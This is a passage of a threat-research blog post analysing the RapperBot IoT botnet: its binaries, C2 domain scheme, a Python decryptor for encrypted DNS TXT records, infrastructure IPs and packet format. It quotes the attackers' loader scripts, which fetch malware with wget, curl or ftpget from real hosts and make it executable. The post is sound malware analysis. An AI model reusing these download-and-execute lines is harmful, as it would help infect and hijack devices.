116 -rwxr-xr-x 1 root root 118480 Jun 18 09:11 ./vv/armv71\r\n 78 68 -rwxr-xr-x 1 root root 66149 Jun 18 09:11 ./vv/armv71.gz\r\n 79 104 -rwxr-xr-x 1 root root 104180 Jun 18 09:11 ./vv/i686\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 12 of 27\n\n80 56 -rwxr-xr-x 1 root root 53558 Jun 18 09:11 ./vv/i686.gz\r\n 81 132 -rwxr-xr-x 1 root root 134728 Jun 18 09:11 ./vv/mips\r\n 82 64 -rwxr-xr-x 1 root root 63933 Jun 18 09:11 ./vv/mips.gz\r\n 83 132 -rwxr-xr-x 1 root root 123432 Jun 18 09:11 ./vv/mips64\r\n 84 64 -rwxr-xr-x 1 root root 64843 Jun 18 09:11 ./vv/mips64.gz\r\n 85 136 -rwxr-xr-x 1 root root 138816 Jun 18 09:11 ./vv/mipsel\r\n 86 64 -rwxr-xr-x 1 root root 16555 Jun 18 09:11 ./vv/mipsel.gz\r\n 87 68 -rwxr-xr-x 1 root root 16840 Jun 18 09:11 ./vv/mipsel64\r\n 88 84 -rwxr-xr-x 1 root root 85840 Jun 18 09:11 ./vv/mipsel64.gz\r\n 89 44 -rwxr-xr-x 1 root root 10452 Jun 18 09:11 ./vv/powerpc\r\n 90 64 -rwxr-xr-x 1 root root 60171 Jun 18 09:11 ./vv/powerpc.gz\r\n 91 116 -rwxr-xr-x 1 root root 115684 Jun 18 09:11 ./vv/riscv32\r\n 92 72 -rwxr-xr-x 1 root root 71160 Jun 18 09:11 ./vv/riscv32.gz\r\n 93 104 -rwxr-xr-x 1 root root 104280 Jun 18 09:11 ./vv/sh4\r\n 94 68 -rwxr-xr-x 1 root root 67278 Jun 18 09:11 ./vv/sh4.gz\r\n 95 116 -rwxr-xr-x 1 root root 116976 Jun 18 09:11 ./vv/sparc\r\n 96 60 -rwxr-xr-x 1 root root 58378 Jun 18 09:11 ./vv/sparc.gz\r\n 99 4 -rwxr-xr-x 1 root root 976 Jul 9 03:53 ./w\r\nFrom here one can tell there are a lot more architectures supported by the malware developers, this does not seem like a\r\nsmall operation. I was hoping for a mistake, some unstripped binary or something like that, but no luck. There was some\r\nfunny stuff left behind though:\r\n# cat ./ss/.ssh\r\nThis is awkward\r\nAs for freshness, is this malware known? Apart from the ‘normal’ three first binaries in the table below, half of the malware\r\nbinaries have a first submission date to VirusTotal of little more than one month ago, and the other half were never\r\nsubmitted at all yet, making them quite recent samples.\r\nFILENAME | SHASUM SHASUM SHASUM SHASUM SHASUM SHASU | VT First Submission Date\r\n./dropbearmulti | 3f3ce288301ed82ad08533120f413d06516310c4 | 2018-02-15 13:51:52\r\n./netcat | c12f068fd8b647c6adf666856a20128ae8fdb2ec |2017-09-22 21:13:38\r\n./netstat-mips | 94db8b1c8db47d48e88e5fe09af98e8a0b2563e4 | 2024-08-23 02:20:34\r\n./ss/arc | 9eadd62447224a70a95c1cf26dc262679f275669 | Not submitted yet\r\n./ss/armv4eb | 6e8a0c8e0b3b7a0d75b4dcb150fbf64da2f1f260 | Not submitted yet\r\n./ss/armv41 | da45f3c81aa0c87121792bcc07a8636b65334b1c | Not submitted yet\r\n./ss/armv51 | f1a9b945f527abbdceb036978692ced718f2a176 | Not submitted yet\r\n./ss/armv61 | 0d9388a10fcae8135ea5cab57b23b346d9b1101f | Not submitted yet\r\n./ss/armv71 | 67fc0d52818e51487c41fcbd625000e5444fab79 | 2025-07-10 08:18:56\r\n./ss/i686 | f4374f52148b1b411ccff7234fce3a0a759da49f | Not submitted yet\r\n./ss/mips | aadaf1fbdb9a15fb7509b68187b1036f87b277b5 | Not submitted yet\r\n./ss/mips64 | 5e508009e9c5335eeaefc2f2ebebd82f452e098d | Not submitted yet\r\n./ss/mipsel | 9dc49baf7bee59980128ad4c29d84bbb0465a107 | Not submitted yet\r\n./ss/mipsel64 | 67b4de7ae6b743e16d3f988dc18ac4ed54919cd4 | Not submitted yet\r\n./ss/powerpc | 7874c180ced5d8c27871d08d0ebe80d34876fd97 | Not submitted yet\r\n./ss/riscv32 | 9b6b040e3b19c8b00d93ac2617a38c574bcec42f | Not submitted yet\r\n./ss/sh4 | 5f2b542f01812c12b59f160fca9a5dd4535bbdd2 | Not submitted yet\r\n./ss/sparc | 843ee489b2668af986f5ffa477e9da3fa5d1d8fa | Not submitted yet\r\n./ss/x86_64 | f4374f52148b1b411ccff7234fce3a0a759da49f | Not submitted yet\r\n./vv/aarch64 | e4117801912821087301fd39b750056a12cb7986 | 2025-06-18 11:12:44\r\n./vv/arc | 9ca53e184bdaf2238983e9fea4c4b5ad2225c28f | 2025-06-18 10:51:31\r\n./vv/armv4eb | ddd71fbf9d394e0f83e91ca5c6d64df2f41cd9fe | 2025-06-18 12:01:35\r\n./vv/armv4l | f09becbb415b564ab15bcec579791f9da2ce80b5 | 2025-06-18 11:49:09\r\n./vv/armv51 | 4fc0ad5618ad1e19ae937f9babbe6bf42f91406a | 2025-06-18 11:13:28\r\n./vv/armv61 | c38c95603f56b3fa4e6d558d45c6a59899fa6a88 | 2025-06-18 12:09:42\r\n./vv/armv71 | e4117801912821087301fd39b750056a12cb7986 | 2025-06-18 11:12:44\r\n./vv/i686 | e89b06cb87ba1c500ccc21c535f45ecdaf936a86 | 2025-06-18 10:58:41\r\n./vv/mips | 0e57a5761ce5627da423c33e12e23adfade72431 | 2025-06-18 11:54:01\r\n./vv/mips64 | 8541d3180037e2725cd4691713b46d788cd1712b | 2025-06-18 11:16:48\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 13 of 27\n\n./vv/mipsel | a4b98cf875f6cb590cdee21c9e6d53727453581b | 2025-06-18 11:21:31\r\n./vv/mipsel64 | 7ff3d564793dab6af1e0565a6c879c835b2dcfae | Not submitted yet\r\n./vv/powerpc | 70e43bb2a3883630c80917ce0eb7754a6ccc3ad0 | 2025-06-18 11:00:06\r\n./vv/riscv32 | 7d298df04cfb3236bf35647b2fa6ea59d9f52acf | 2025-06-18 10:21:51\r\n./vv/sh4 | 7839ebec01eb9984bbe77d5a2751063f496fcf73 | 2025-06-20 00:31:21\r\n./vv/sparc | c091b0aa9e40a879f2cf10744c6d6f79a3c9fa38 | 2025-06-18 10:54:21\r\n \r\nAs far as reversing goes, at least I had other binaries, I admit I’d rather look at i686 than ARM disassembly. Maybe it's the\r\nhabit but I feel it is a bit less tiring for me. Eventually, though, that made no difference…\r\nIn order to understand the malware C2 protocol features, my immediate targets for reversing were the DGA and the DNS\r\nTXT record encryption. \r\nFor the DGA, I started to look for the code that precedes the DNS name resolution and TXT record parsing. Surprisingly, it\r\nwas not a DGA at all. I was just assuming it was given what the domains looked like. When the malware runs, and after\r\nsome decryption operations, it generates the 3 different parts of the fully qualified domain name (FQDN) it will query for\r\nthe TXT record: a subdomain, a domain and a TLD. It chooses a random combination of these parts and then tries to query\r\none random, hardcoded, DNS server for a valid TXT record. If the reply is not valid or there is a timeout, it goes on to the\r\nnext DNS server. If all servers are exhausted, it generates a new hostname to query until it gets a reply with a valid TXT\r\nrecord. A valid TXT record, for the malware, is one that it can decrypt into a C2 IP address list.\r\nSo, in reality, what looked to be a DGA at first glance sums up to a restricted combination of 4 domains, 4 sub domains and\r\n2 TLD, totaling 32 different FQDNs:\r\nEICp.ByxWGIMPbwiSkniw.info EICp.GaihWstPZUoMtfnU.info EICp.gwYhHCorybwjWuzh.info EICp.zkUAFIMFDwVET\r\nEICp.ByxWGIMPbwiSkniw.live EICp.GaihWstPZUoMtfnU.live EICp.gwYhHCorybwjWuzh.live EICp.zkUAFIMFDwVET\r\nKDXA.ByxWGIMPbwiSkniw.info KDXA.GaihWstPZUoMtfnU.info KDXA.gwYhHCorybwjWuzh.info KDXA.zkUAFIMFDwV\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 14 of 27\n\nKDXA.ByxWGIMPbwiSkniw.live KDXA.GaihWstPZUoMtfnU.live KDXA.gwYhHCorybwjWuzh.live KDXA.zkUAFIMFDwV\r\nYFrV.ByxWGIMPbwiSkniw.info YFrV.GaihWstPZUoMtfnU.info YFrV.gwYhHCorybwjWuzh.info YFrV.zkUAFIMFDwVET\r\nYFrV.ByxWGIMPbwiSkniw.live YFrV.GaihWstPZUoMtfnU.live YFrV.gwYhHCorybwjWuzh.live YFrV.zkUAFIMFDwVET\r\nkHbW.ByxWGIMPbwiSkniw.info kHbW.GaihWstPZUoMtfnU.info kHbW.gwYhHCorybwjWuzh.info kHbW.zkUAFIMFDwVE\r\nkHbW.ByxWGIMPbwiSkniw.live kHbW.GaihWstPZUoMtfnU.live kHbW.gwYhHCorybwjWuzh.live kHbW.zkUAFIMFDwVE\r\nIt could also be that this  was an offline DGA (or Reserved DGA). In contrast to traditional DGAs, where the algorithm can\r\nbe reverse-engineered, RDGAs keep their generation algorithms private to the DNS threat actor.\r\nTo fully understand how the C2 IPs shift over time, the only practical way involves extracting the C2 TXT reply decryption\r\nroutine from the malware. Sadly, the i686 binaries were similar, but not quite the same. So back to looking at ARM\r\ndisassembly again… I’ve found the decryption function but if you notice the Ghidra screenshot of a piece of the function, it\r\nis pretty evident that this work could take a fair amount of time. And I had little to spend. It was not that it was super\r\ncomplicated, it was just tedious work. Also, I wanted to try and see what LLMs are able to do these days and just fed a\r\npopular LLM the program dump from Ghidra.\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 15 of 27\n\n“Hey \u003cLLM\u003e, describe the function FUN_0000b38c.”\r\nThis function is a self-contained decryption routine designed to transform an obfuscated payload (like the one from a DNS\r\nTXT record) into readable plaintext (the C2 server’s IP address). It does this in three distinct, sequential stages:\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 16 of 27\n\n1. Key Generation \u0026 State Initialization:\r\nThe function doesn’t use a fixed, hardcoded key. Instead, it generates a unique key for every payload it\r\nreceives. It does this by reading the first two bytes of the encrypted data itself and using them as a seed.\r\nThis seed is then used in a \"Key-Scheduling Algorithm\" (KSA) that shuffles a 56-element state array (an S-BOX) into a pseudo-random order. This process is very similar to the KSA step in the well-known RC4 stream\r\ncipher.\r\n2. Payload Decryption:\r\nWith the state array now uniquely shuffled, the function proceeds to the decryption phase.\r\nIt iterates through the rest of the encrypted payload (from the third byte onwards), using the shuffled state\r\narray to generate a \"keystream\" of bytes.\r\nEach byte of the encrypted payload is XORed with a byte from this keystream, producing an intermediate,\r\npartially-decrypted result. This step is analogous to RC4’s \"Pseudo-Random Generation Algorithm\" (PRGA).\r\n3. Final Decoding (Base-56):\r\nThe intermediate result from the decryption step is not the final plaintext. It’s actually a large number\r\nrepresented in a custom base-56 format.\r\nThe final stage of the function is to perform a number base conversion, converting this base-56 number back\r\ninto a standard sequence of bytes (base-256). This final byte sequence is the plaintext data, for example:\r\n1.2.3.4|5.6.7.8.\r\nIn essence, the function uses the payload’s own header as a key to power a custom stream cipher, and then decodes the result\r\nfrom a non-standard number format. This multi-stage process makes the data very difficult to analyze without understanding\r\nthe full algorithm.\r\nI actually had to ask it to summarize because the first go was very impressive in detail. Of course, I also asked for a python\r\nversion of the decryptor and it did generate a version, but it didn’t work. I iterated for some versions and, after some manual\r\nadjustments, looking at the pseudo-C Ghidra output and the LLM generated python, I had a working version of the\r\ndecryptor to extract the C2 from the TXT records.\r\nimport sys\r\nfrom itertools import takewhile\r\ndef decrypt_payload(\r\n encrypted_data: bytes,\r\n sbox_chars: bytes,\r\n ksa_multiplier: int = 0x41c64e6d,\r\n ksa_mask: int = 0xFFFFFFFF\r\n) -\u003e bytes | None:\r\n TABLE_SIZE = 56\r\n MAX_PAYLOAD_LEN = 0x163 + 2 # Max length for data to be processed is 0x163\r\n # --- Stage 0: Validation and Setup ---\r\n if len(sbox_chars) != TABLE_SIZE or not (2 \u003c= len(encrypted_data) \u003c= MAX_PAYLOAD_LEN):\r\n return None\r\n # Create a fast lookup map to replace slow and repetitive .index() calls\r\n sbox_map = {byte: i for i, byte in enumerate(sbox_chars)}\r\n idx_byte1 = sbox_map.get(encrypted_data[0])\r\n idx_byte2 = sbox_map.get(encrypted_data[1])\r\n if idx_byte1 is None or idx_byte2 is None:\r\n return None\r\n # --- Stage 1: KSA-like State Permutation ---\r\n S = list(range(TABLE_SIZE))\r\n initial_key_val = idx_byte2 + idx_byte1 * TABLE_SIZE\r\n key_val = initial_key_val\r\n for i in range(TABLE_SIZE - 1, 0, -1):\r\n key_val = (ksa_multiplier * key_val + 0x3039) \u0026 ksa_mask\r\n swap_idx = key_val % (i + 1)\r\n S[i], S[swap_idx] = S[swap_idx], S[i]\r\n # Create an inverted S-box for efficient lookups\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 17 of 27\n\nS_inv = [0] * TABLE_SIZE\r\n for i, val in enumerate(S):\r\n S_inv[val] = i\r\n # --- Stage 2: Two-Pass Transformation ---\r\n data_to_process = encrypted_data[2:]\r\n try:\r\n # First pass uses the data length as an offset\r\n offset1 = len(data_to_process) % TABLE_SIZE\r\n indices1 = [sbox_map[b] for b in data_to_process]\r\n transformed_chars = bytearray(\r\n sbox_chars[(S_inv[idx] - offset1 + TABLE_SIZE) % TABLE_SIZE] for idx in indices1\r\n )\r\n # Second pass uses the initial key value as an offset\r\n offset2 = initial_key_val % TABLE_SIZE\r\n indices2 = [sbox_map[b] for b in transformed_chars]\r\n base56_payload = bytearray(\r\n sbox_chars[(idx - offset2 + TABLE_SIZE) % TABLE_SIZE] for idx in indices2\r\n )\r\n except KeyError:\r\n return None # A byte in the payload was not in the sbox\r\n # --- Stage 3: Custom Base-56 Decoding ---\r\n if not base56_payload:\r\n return b\"\"\r\n try:\r\n digits = [sbox_map[b] for b in base56_payload]\r\n except KeyError:\r\n return None # Should be unreachable if sbox_chars is consistent\r\n # Count leading zeros, which are significant in base-56/58 encoding\r\n num_leading_zeros = sum(1 for _ in takewhile(lambda d: d == 0, digits))\r\n # Convert from base-56 digits to a large integer\r\n bignum = 0\r\n for digit in digits:\r\n bignum = bignum * TABLE_SIZE + digit\r\n if bignum == 0:\r\n return b'\\x00' * len(digits)\r\n # Convert the integer back to bytes (base-256) and prepend zero bytes\r\n bignum_bytes = bignum.to_bytes((bignum.bit_length() + 7) // 8, 'big')\r\n return b'\\x00' * num_leading_zeros + bignum_bytes\r\ndef main():\r\n if len(sys.argv) \u003c 2:\r\n print(f\"Usage: {sys.argv[0]} \u003cencrypted_payload\u003e\", file=sys.stderr)\r\n sys.exit(1)\r\n sbox_string = 'ipWPeY43MhfFFt8ZCSN2KTdD6nEkmGjwx7vJRSrogzbcqHsXUQvyVA9L'\r\n sbox_chars = sbox_string.encode('ascii')\r\n # The payload from the command line is treated as an ASCII string\r\n encrypted_payload = sys.argv[1].encode(\"ascii\")\r\n decrypted_payload = decrypt_payload(encrypted_payload, sbox_chars)\r\n if decrypted_payload is not None:\r\n print(f\"Decrypted (string): {decrypted_payload.decode('utf-8', 'replace')}\")\r\n else:\r\n print(\"Decryption Failed. The input may be invalid or corrupted.\")\r\n sys.exit(1)\r\nif __name__ == \"__main__\":\r\n main()\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 18 of 27\n\nIs the code efficient, elegant, production ready? No, not at all. Could it be simpler? It could, as I learned later on… But, does\r\nit work? Yes, it does work and allows the extraction of the C2 IPs from the TXT records which was my research goal.\r\n% python3 decryptor.py\r\nWiPksMjwEPb6NZLEfw9s33jPFGHXAWsFDmuDWUAKJMWSvVZ6HBjG6JsD4UruUCyNdExpzXiomm4\r\nDecrypted Payload (string): 194.226.121.51|188.92.28.62|192.145.28.71|45.89.63.25\r\nGlueing everything together, we now have a sense of how the updated infrastructure works. The malware is quite similar,\r\nexcept for the C2 encryption in the TXT record and the changes in the scanner and C2 server IP addresses and additional\r\nhardcoded DNS servers.\r\nThe details for each step are pretty much the same as the previous version. The scanner IP differs but uses the same methods\r\nand the same exploit. The malware repository is the same and a strong connection to the old malware. The C2 IP discovery\r\nis similar: there are hardcoded DNS servers which are used to resolve FQDNs that have TXT records where a list with C2 IP\r\nis, only this time that list is encrypted. The only extra step is actually decrypting the C2 IP list.\r\nAfter decryption, the malware chooses a random port from a list to connect back to the C2 and begins exchanging packets.\r\nThe fact that I saw port 4444 the first time was a coincidence, there are more destination ports possible. The ones I observe\r\nwere in this list:\r\n443, 554, 993, 995, 1935, 2022, 2222, 3074, 3389, 3478, 3544, 3724, 4443, 4444, 5000, 5222, 5223, 6036, 6666,\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 19 of 27\n\nThe communication between the malware and the C2 is quite similar too. In order to gather further details about the\r\nmalware, the next step was to reverse engineer the communication protocol. And when I started reversing that’s when I\r\nfound some additional information on this malware, straight from an infosec conference!\r\nThe BotConf connection\r\nBotConf is an extremely interesting security conference focused on the fight against botnets and cybercrime, bringing\r\ntogether security researchers, law enforcement, and industry experts to share insights, tools, and case studies. It emphasizes\r\ntechnical depth and real-world analysis and it covers lots of topics like malware campaigns, botnet takedowns, and threat\r\nintelligence collaboration. It is one of those must go conferences for any threat researcher, which I am not. Luckily, many of\r\nmy colleagues do that for a living and go every year. So it was quite exciting that, when I was mentioning what I was\r\nworking on to my colleague João Godinho, he noted that what I described had striking similarities to a talk he had attended\r\nwhile at BotConf!\r\nAfter some digging, I was reading Wang Hao blog post named “Zombies never die,” from Qi'anxin X Lab, which was\r\ndescribing and detailing a lot of what I described so far. They also have a decrypting function which is clearly not an output\r\nof ‘vibe’ reversing, i.e., elegant and compact. They have been monitoring this for some years now and all the similarities\r\nmake me confident that I’m looking at the same malware family: RapperBot.\r\nThe scanners / exploiters\r\nThe current scanner infrastructure seems to be using the IP 204.76.203.220 (AS51396) in the Netherlands. This IP has been\r\nactively scanning the Internet at large, focusing heavily on ports 80, 81, 8000, 8080, 9000, 34567, 6036, 17000 and 17001.\r\nBefore this IP, the same server fingerprint was observed in a Singapore based IP 154.81.156.55 (AS20473) up till mid May,\r\nwhich indicates that the threat actors transferred their infrastructure to the new IP, in the second half of May 2025. The ‘old\r\nversion’ of the scanner coming from IP 185.36.81.60, however, was very focused on ports 34567, 80 and 81. This makes it\r\nfeel that the new infrastructure belongs to a bigger operation.\r\nIf you run honeypots or a darknet, you can see this IP hit your network fairly often, which is consistent with the reinfection\r\ntechnique this botnet seems to rely upon: no persistence on devices, running entirely from memory (at least on these NVRs).\r\nIf the device reboots, it no longer has malware, but will be reinfected soon enough.\r\nNot only this IP scans and gathers information on accounts in order to then exploit the DVR firmware update mechanism on\r\nport 34567, but was also observed making bruteforce attempts against the admin account on this very port.\r\nThe malware repositories\r\nThe malware repository IP 104.194.9.127 is one of the central pillars of this infrastructure and the only one that was not\r\nobserved to have changed in the ‘upgrade’. We’ve seen that it is being used to serve malware using NFS and FTP.\r\nIt also contains other interesting ‘features,’ like a payload being served on TCP port 1:\r\n# nc -v 104.194.9.127 1\r\nConnection to 104.194.9.127 1 port [tcp/tcpmux] succeeded!\r\nps | grep tcpdump | grep -v grep | awk '{print $1}'\r\n/bin/busybox dd bs=64 count=1 if=/bin/echo || /bin/busybox hexdump -e '16/1 \"%c\"' -n 64 /bin/echo || /bin/busy\r\nFirst it checks if tcpdump is running, maybe to avoid being detected or honeypots. Then it probes ‘echo’ and tries to read the\r\nfirst bytes of the binary (or eventually itself). This is a clever way to infer architecture, since it works without calling uname\r\nor arch (often missing or replaced in minimal/busybox systems) and doesn’t require any external tools like readelf, file, or\r\nstrings.\r\nFTP\r\nSome more interesting intel is what you can gather from the binaries and scripts inside the FTP, for example:\r\n# cat l\r\n\u003e/tmp/.a \u0026\u0026 cd /tmp;\r\n\u003e/dev/.a \u0026\u0026 cd /dev;\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 20 of 27\n\n\u003e/dev/shm/.a \u0026\u0026 cd /dev/shm;\r\n\u003e/var/tmp/.a \u0026\u0026 cd /var/tmp;\r\n\u003e/var/.a \u0026\u0026 cd /var;\r\n\u003e/home/.a \u0026\u0026 cd /home;\r\nfor path in `cat /proc/mounts | grep tmpfs | grep rw | grep -v noexe | cut -d ' ' -f 2`; do \u003e$path/.a \u0026\u0026 cd $\r\n(cp /proc/self/exe .f || busybox cp /bin/busybox .f); \u003e .f; (chmod 777 .f || busybox chmod 777 .f);\r\n(wget http://185.218.87.28/vv/armv41 -O- || busybox wget http://185.218.87.28/vv/armv41 -O-) \u003e .f; chmod 777\r\n(wget http://185.218.87.28/vv/armv51 -O- || busybox wget http://185.218.87.28/vv/armv71 -O-) \u003e .f; chmod 777\r\n(wget http://185.218.87.28/vv/armv61 -O- || busybox wget http://185.218.87.28/vv/armv71 -O-) \u003e .f; chmod 777\r\n(wget http://185.218.87.28/vv/armv71 -O- || busybox wget http://185.218.87.28/vv/armv71 -O-) \u003e .f; chmod 777\r\necho \"$0 FIN\";\r\nWait, I know that IP, that is from iranistrash.libre TXT records, containing C2s:\r\n\"1.2.3.4|185.218.87.28|194.226.121.51|188.92.28.62|192.145.28.71|45.89.63.25|185.218.87.29|1.2.3.4\"\r\nSo the C2s, at some point, also served malware on HTTP. Not anymore though.\r\nSince I’ve been monitoring the malware repository, there were several changes made to the IPs that serve as binary\r\ndownload points. By tracking the changes, one can get a glimpse on how attackers' infrastructure changed over time, up to\r\nthe more recent repository IPs.\r\nEach script may use curl, wget or ftpget to download and execute the malware binaries from those IP addresses. Sometimes,\r\nthey may even try all 3 methods:\r\n“... (wget http://77.90.153.136/ss/armv4l -O- || busybox wget http://77.90.153.136/ss/armv4l -O- || curl\r\nhttp://77.90.153.136/ss/armv4l || ftpget 77.90.153.136 - armv4l) … “\r\nThis way, we could gain information about more IP addresses that host malware as repositories to download and execute.\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 21 of 27\n\nNFS\r\nNFS serves some different scripts, likely to NVR that do not have binaries like wget . Despite all the differences, what was\r\ninteresting was the use of the hostname “v1s[.]co” in one of the scripts.\r\n$ cat k_20250701_104752\r\n#!/bin/sh\r\nrm -rf .r\r\necho -en \"(while true; do cd /tmp; (wget http://v1s.co/vv/$(uname -m)?circle -O- || busybox wget http://v1s.co\r\n./k/armv71 cirlce r \u0026\u0026 (\u003e .r; exit)\r\n./k/armv61 cirlce r \u0026\u0026 (\u003e .r; exit)\r\n./k/armv51 cirlce r \u0026\u0026 (\u003e .r; exit)\r\n./k/armv41 cirlce r \u0026\u0026 (\u003e .r; exit)\r\nThis also allows us to pivot further into the RapperBot infrastructure.\r\nWhat information can we gain from the IPs and domains gathered?\r\nThere is no public information about v1s[.]co except it was registered on 2025-06-20 in Bulgaria, since the domain registrant\r\ninformation is anonymized.\r\nPerhaps unsurprisingly, the domains resolves to two previously seen malware repository IPs:\r\nBut if you search through passive DNS records, you will find that between 2025-06-27 and 2025-07-19, it would also\r\nresolve to 94.26.90.217 which, again, is another already seen malware repository IP.\r\nThe first two IPs don’t add much, but if you pivot this last one, you will find that not only v1s[.]co resolved to that, but also\r\nzya[.]tf did, between 2025-04-28 and 2025-06-03. After that it was zya[.]nz between 2025-06-06 and 2025-06-20. The New\r\nZealand domain is interesting, because the New Zealand Domain Name Commission allows us to get to the Registrant\r\nName of that domain:\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 22 of 27\n\nGiven that v1s[.]co registrant is anonymized and the owner of zya[.]tf is Ano Nymous, Kyler Fussle is hardly the registrant\r\nname… Urban dictionary does define FUSSLE:\r\nThe threat actor, it seems, is not without a sense of humour. To close the circle, zya[.]tf also resolved to 185.218.87.28, the\r\nlast IP of the malware repositories seen above.\r\nThe command and control servers\r\nAfter infection, as we saw, the bots connected to the C2s IP addresses obtained in the TXT encrypted records. The bots and\r\nthe C2 servers use a custom encrypted packet format to communicate with the botnet.\r\nPacket format\r\nThe observed packets exchanged between the C2 and the bots are of variable length, because they are padded with trailing\r\nrandom data. They are also encrypted using a simple one byte XOR key, which is included in the header of the packet. The\r\npayload and the packet type are both encrypted, highlighted with the dashed border.\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 23 of 27\n\n(shoutout to Ange Albertini for SBUD)\r\nThe header includes a simple checksum, which is calculated on the header only (packet size, payload size, XOR key and\r\npacket type). This means any change in payload content will not be reflected as a change in the checksum, as one can\r\nconfirm in the decompiled code:\r\nThe checksum function can be trivially implemented in python:\r\ndef checksum(param: bytes) -\u003e int:\r\n low = (sum(param[4:8]) + param[11]) % 0xFF\r\n high = (sum(param[0:4]) + param[10]) % 0xFF\r\n return low | (high \u003c\u003c 8)\r\nDNS Records\r\nAs of this writing, the valid C2s encrypted infrastructure encoded in the TXT records were as follows:\r\nEICp.ByxWGIMPbwiSkniw.live. 300 IN A 209.196.146.115\r\nKDXA.ByxWGIMPbwiSkniw.info. 300 IN A 209.196.146.115\r\nKDXA.ByxWGIMPbwiSkniw.live. 300 IN A 209.196.146.115\r\nYFrV.ByxWGIMPbwiSkniw.info. 95 IN A 209.196.146.115\r\nYFrV.ByxWGIMPbwiSkniw.live. 95 IN A 209.196.146.115\r\nkHbW.ByxWGIMPbwiSkniw.info. 300 IN A 209.196.146.115\r\nkHbW.ByxWGIMPbwiSkniw.live. 300 IN A 209.196.146.115\r\nEICp.GaihWstPZUoMtfnU.info. 60 IN TXT \"W4wBYDNdY5QStJxPLFSn6bVEQjiidBoyfKoPrx2AQzi4x5YTmqhQzxZQs\r\nEICp.GaihWstPZUoMtfnU.live. 649 IN TXT \"W4wBYDNdY5QStJxPLFSn6bVEQjiidBoyfKoPrx2AQzi4x5YTmqhQzxZQs\r\nYFrV.GaihWstPZUoMtfnU.info. 60 IN TXT \"W4wBYDNdY5QStJxPLFSn6bVEQjiidBoyfKoPrx2AQzi4x5YTmqhQzxZQs\r\nYFrV.GaihWstPZUoMtfnU.live. 1508 IN TXT \"W4wBYDNdY5QStJxPLFSn6bVEQjiidBoyfKoPrx2AQzi4x5YTmqhQzxZQs\r\nKDXA.GaihWstPZUoMtfnU.info. 900 IN TXT \"W4wBYDNdY5QStJxPLFSn6bVEQjiidBoyfKoPrx2AQzi4x5YTmqhQzxZQs\r\nKDXA.GaihWstPZUoMtfnU.live. 611 IN TXT \"W4wBYDNdY5QStJxPLFSn6bVEQjiidBoyfKoPrx2AQzi4x5YTmqhQzxZQs\r\nkHbW.GaihWstPZUoMtfnU.info. 300 IN TXT \"W4wBYDNdY5QStJxPLFSn6bVEQjiidBoyfKoPrx2AQzi4x5YTmqhQzxZQs\r\nkHbW.GaihWstPZUoMtfnU.live. 1447 IN TXT \"W4wBYDNdY5QStJxPLFSn6bVEQjiidBoyfKoPrx2AQzi4x5YTmqhQzxZQs\r\nKDXA.zkUAFIMFDwVETXJQ.info. 86400 IN TXT \"WiPksMjwEPb6NZLEfw9s33jPFGHXAWsFDmuDWUAKJMWSvVZ6HBj6eJsD4\r\nKDXA.zkUAFIMFDwVETXJQ.live. 395 IN TXT \"YenhQbPbGnPFdoSALKHHHuvyVg92JcxpQfKzDNRfRH\"\r\nkHbW.zkUAFIMFDwVETXJQ.info. 86400 IN TXT \"WiPksMjwEPb6NZLEfw9s33jPFGHXAWsFDmuDWUAKJMWSvVZ6HBj6eJsD4\r\nKDXA.gwYhHCorybwjWuzh.info. 600 IN TXT \"5qxSqzRkVaQLJtZcA8ybPWugZt8eMhA8aReoExX8vCNdH\"\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 24 of 27\n\nYFrV.gwYhHCorybwjWuzh.live. 3395 IN TXT \"WiPksMjwEPb6NZLEfw9s33jPFGHXAWsFDmuDWUAKJMWSvVZ6HBj6eJsD4\r\nkHbW.gwYhHCorybwjWuzh.live. 3600 IN TXT \"WiPksMjwEPb6NZLEfw9s33jPFGHXAWsFDmuDWUAKJMWSvVZ6HBj6eJsD4\r\n$ python3 decryptor.py\r\nW4wBYDNdY5QStJxPLFSn6bVEQjiidBoyfKoPrx2AQzi4x5YTmqhQzxZQsXZBB6AovrE5DnqnmMhX2nkBPjFYqLnmGkAkYFJuzfddiUrc5Y9t9q\r\nDecrypted (string): 82.24.200.141|194.226.121.51|188.92.28.62|192.145.28.71|82.24.200.137|82.24.200.139\r\n$ python3 decryptor.py\r\nWiPksMjwEPb6NZLEfw9s33jPFGHXAWsFDmuDWUAKJMWSvVZ6HBj6eJsD4UruUCyNdExpzXiomm4\r\nDecrypted (string): 194.226.121.51|188.92.28.62|192.145.28.71|45.89.63.25\r\n$ python3 decryptor.py 5qxSqzRkVaQLJtZcA8ybPWugZt8eMhA8aReoExX8vCNdH\r\nDecrypted (string): 172.234.130.93|172.234.130.93\r\n$ python3 decryptor.py YenhQbPbGnPFdoSALKHHHuvyVg92JcxpQfKzDNRfRH\r\nDecrypted (string):35.225.197.113|35.225.197.113\r\nBy the time you read this, the infrastructure might already have changed, giving it does not seem to remain static for long. If\r\none would go and parse the passive dns records associated with each domain for ‘valid’ TXT records, it is possible to get an\r\nidea of how it evolved over time. The below chart just shows the most recent changes, as there were over 60 IPs involved\r\nsince the end of March (they will be included in the IOCs section).\r\nAs we monitored the botnet, we noticed a spike of communications going into the C2s between the 6th and 7th of August.\r\nOn August 19th the most likely explanation surfaces: The U.S. Attorney's Office of the District of Alaska releases a press\r\nrelease:\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 25 of 27\n\n“An Oregon man was charged by a federal criminal complaint today in the District of Alaska on charges related to his\r\nalleged development and administration of the “Rapper Bot” DDoS-for-hire Botnet that has conducted large-scale cyber-attacks since at least 2021.”\r\nOne likely explanation for the spike was that the bots that were disconnected from the C2s when the 